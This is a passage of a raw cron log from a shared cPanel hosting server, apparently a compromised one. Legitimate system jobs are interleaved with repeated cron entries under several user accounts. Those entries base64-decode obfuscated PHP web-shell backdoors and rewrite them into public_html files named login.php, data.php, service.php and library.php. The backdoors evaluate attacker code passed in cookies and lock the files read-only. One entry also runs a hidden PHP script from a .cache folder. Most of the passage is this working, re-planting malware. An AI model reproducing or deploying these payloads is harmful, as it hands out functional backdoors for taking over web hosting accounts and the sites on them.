Ib3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:50:01 medusa CROND[12329]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 02:50:01 medusa CROND[12340]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:50:01 medusa CROND[12331]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 02:50:01 medusa CROND[12332]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 02:51:01 medusa CROND[18298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:51:01 medusa CROND[18299]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:51:01 medusa CROND[18300]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:51:01 medusa CROND[18301]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:51:01 medusa CROND[18302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:51:01 medusa CROND[18303]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:51:01 medusa CROND[18304]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:51:01 medusa CROND[18305]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:51:01 medusa CROND[18306]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:51:01 medusa CROND[18311]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:51:01 medusa CROND[18313]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:51:01 medusa CROND[18318]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:51:01 medusa CROND[18325]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:51:01 medusa CROND[18326]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:51:01 medusa CROND[18336]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:52:02 medusa CROND[27297]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:52:02 medusa CROND[27332]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:52:02 medusa CROND[27333]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:52:02 medusa CROND[27334]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:52:02 medusa CROND[27335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:52:02 medusa CROND[27336]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:52:02 medusa CROND[27337]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:52:02 medusa CROND[27339]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:52:02 medusa CROND[27342]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:52:02 medusa CROND[27346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:52:02 medusa CROND[27350]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:52:02 medusa CROND[27357]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:52:02 medusa CROND[27358]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:53:01 medusa CROND[1636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:53:02 medusa CROND[1787]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:53:02 medusa CROND[1788]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:53:02 medusa CROND[1790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:53:02 medusa CROND[1792]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUw